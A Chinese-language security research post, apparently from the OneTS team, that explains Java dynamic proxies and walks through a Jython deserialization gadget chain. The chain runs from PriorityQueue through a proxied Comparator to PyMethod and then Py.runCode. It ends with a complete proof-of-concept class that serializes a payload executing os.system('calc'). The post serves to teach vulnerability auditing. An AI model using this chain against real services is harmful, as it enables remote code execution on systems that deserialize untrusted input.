声明
本文属于OneTS安全团队成员v4por的原创文章,转载请声明出处!本文章仅用于学习交流使用,因利用此文信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,OneTS安全团队及文章作者不为此承担任何责任。
前置知识 - 动态代理简介
💣~~~传说~~~
Java的接口 - 实现类模式源于代理模式,即接口中定义好属性和行为,由实现类来完成具体的逻辑,调用时直接调用实现类。
Java中常见的代理有两种:一是静态代理,coder通过implements关键词来将一个类定义为一个接口的实现类;二是动态代理,通过字节码增强技术来实时生成一个代理,并分配具体的实现类,调用时通过调用代理类来间接调用实现类。
在Java中,创建一个接口的实现类对象,除了创建一个Java类并继承该接口外,还可以使用动态代理。动态代理其实是代理模式的一种实现,它利用了Java的反射机制创建了一个继承自指定接口的临时类。当接口的方法被调用时,动态代理会指定处理类来处理该次调用,Spring中的AOP机制便基于该概念。Don't bibi anymore, show me code
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class JythonTest
{
public static void main(String[] args)
{
final class MyHandler implements InvocationHandler
{
private Animal target;
MyHandler(Animal target)
{
this.target = target;
}
@Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable
{
method.invoke(target, args);
return null;
}
}
final class Cat implements Animal
{
@Override public void eat()
{
System.out.println("eat cat food!");
}
} /**
* 创建代理类,此时不知道代理类的具体实现类是哪个。
* Proxy.newProxyInstance方法需要三个参数:
* 1. 类加载器,用于加载代理类
* 2. 代理类需要实现的接口
* 3. 处理器,当代理类的方法被调用时,由处理器来安排处理
*/
Animal o = (Animal) Proxy.newProxyInstance(Animal.class.getClassLoader(), new Class[]
{
Animal.class
}, new MyHandler(new Cat()));
o.eat();
}
}
interface Animal
{
void eat();
}
上述实现是JDK提供的Proxy创建动态代理的方法,除此之外,还有CGLib#Enhancer创建动态代理,此处不再过多赘述。
组件分析
Jyphon是一个允许用户在Java程序中执行python函数的组件:
import org.python.util.PythonInterpreter;
public class JythonTest
{
public static void main(String[] args)
{
//创建python解释器对象
PythonInterpreter interpreter = new PythonInterpreter();
//使用python解释器执行代码
interpreter.exec("import os");
interpreter.exec("os.system('calc')");
}
}
在上述代码中:
1. 首先创建了Python的解释器对象
2. 然后使用Python解释器对象来执行Python代码
简单debug上述代码,查找执行python代码的核心源码:
有一点需要留意的是Py.exec方法是个静态方法,但是要提前设置system state。code.call方法中执行了python代码,该方法也是本链的sink点。
调用链分析
对于反序列化的gadget而言,source点通常是确定的:如果反序列化的触发点是ObjectInputStrem,则gadget的source点是xxx.readObject;
如果反序列化的触发点是Fastjson,则gadget的source点是函数。
反序列化链的挖掘最主要的是寻找存在用户可控参数的敏感操作函数(sink点),并想办法把source和sink串起来。
本链的整体思路可以简单概述为:
1.JDK原生反序列化触发PriorityQueue.readObject方法,并使用动态代理修改PriorityQueue类的校验器
2.使用修改后的校验器触发compare方法,引导代码逻辑进入Jython中
3.通过自定义InvocationHandler 的invoke方法触发Py.runCode,实现RCE
以下内容为了学习审计方法,采用按照从下到上的顺序逐步解析。
第一部分 - 执行Python代码触发点
根据上述的分析,我们知道python代码的执行触发点在PyTableCode.call方法上,而该方法被Py.runCode调用。因此可以将Sink点升级到Py.runCode方法。该方法有如下调用:
分别为:
1.Py类中的exec方法
2. __builtin__类有两处调用
3.Python解释器有一处调用
4.jython类有一处调用
在寻找其他可控的入口时,可以着重关注这几个点。在本此调用链中,使用的是__builtin__.eval入口:
在这个部分中,关键之处在于寻找一个可以实现Python代码执行的InvocationHandler接口的子类,以便实现RCE。而PyMethod类正符合该要求:
public class PyMethod extends PyObject implements InvocationHandler, Traverseproc {
...
public Object invoke( Object proxy, Method method, Object[] args ) throws Throwable {
// Handle invocation when invoked through Proxy (as coerced to single method interface)
if (method.getDeclaringClass() == Object.class) {
return method.invoke( this, args );
} else if (args == null || args.length == 0) {
return __call__().__tojava__(method.getReturnType());
} else {
return __call__(Py.javas2pys(args)).__tojava__(method.getReturnType());
}
}
...
}
进入PyMethod.invoke函数的契机是上层调用了compare函数。
在PyMethod.invoke函数内,通过分支将代码逻辑引入了python代码执行逻辑中,该链路完美符合预期。
第二部分 - 通过动态代理修改代码逻辑
由于反序列化进来后是一个队列,我们需要将队列的反序列化逻辑引导到python代码执行中。而动态代理的实现要求是:
1. 代码逻辑中某个对象的类型是接口
2. 反序列化逻辑中使用该对象调用方法
debug下PriorityQueue类的反序列化方法,发现了个非常巧妙的点:
这里调用了comparator.compare方法,comparator对象的类型是Comparator,因此所需的两个条件都已具备。
在构建poc时,使用动态代理来修改comparator即可
Comparator o = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(),
new Class[]{Comparator.class},
pyMethod);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, o);
第三部分 - 使用PriorityQueue作为入口
在选择入口时,主要需求和上一部分的需要一样:
1. 代码逻辑中某个对象的类型是接口
2.反序列化逻辑中使用该对象调用方法
因此便找到了PriorityQueue类,部分poc如下:
_args.put("rs", new PyString("import os;\nos.system('calc')"));
PyStringMap locals = new PyStringMap(_args);
Object[] queue = new Object[] {
new PyString("__import__('code').InteractiveInterpreter().runcode(rs)')"),
locals,
};
Comparator o = (Comparator)
Proxy.newProxyInstance(Comparator.class.getClassLoader(),
new Class[]{Comparator.class},
pyMethod);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, o);
Field f = priorityQueue.getClass().getDeclaredField("queue");
f.setAccessible(true);
f.set(priorityQueue, queue);
Field f2 = priorityQueue.getClass().getDeclaredField("size");
f2.setAccessible(true);
f2.set(priorityQueue, 2);
在构造队列是,队列的第一个一定是设置python环境变量的值:
__import__('code').InteractiveInterpreter().runcode(rs)')
测试Demo
import org.python.core.*;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.HashMap;
import java.util.PriorityQueue;
public class JythonGadget {
public static void main(String[] args) throws Exception {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
PyMethod pyMethod = (PyMethod) unsafe.allocateInstance(PyMethod.class);
PyObject builtinFunctions = (PyObject) unsafe.allocateInstance(Class.forName("org.python.core.BuiltinFunctions"));
Field index = builtinFunctions.getClass().getSuperclass().getDeclaredField("index");
index.setAccessible(true);
index.set(builtinFunctions, 18);
pyMethod.__func__ = builtinFunctions;
pyMethod.im_class = new PyString().getType();
HashMap<Object, PyObject> _args = new HashMap<>();
_args.put("rs", new PyString("import os;\nos.system('calc')"));
PyStringMap locals = new PyStringMap(_args);
Object[] queue = new Object[] {
new PyString("__import__('code').InteractiveInterpreter().runcode(rs)')"),
locals,
};
Comparator o = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(),
new Class[]{Comparator.class},
pyMethod);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, o);
Field f = priorityQueue.getClass().getDeclaredField("queue");
f.setAccessible(true);
f.set(priorityQueue, queue);
Field f2 = priorityQueue.getClass().getDeclaredField("size");
f2.setAccessible(true);
f2.set(priorityQueue, 2);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);
byte[] bytes = byteArrayOutputStream.toByteArray();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
Demo中使用了PyMethod类作为InvocationHandler,并使用Unsafe类进行实例化;
除了该类外,还有PyFunction(详见ysoserial)
看了这么久,关注下吧~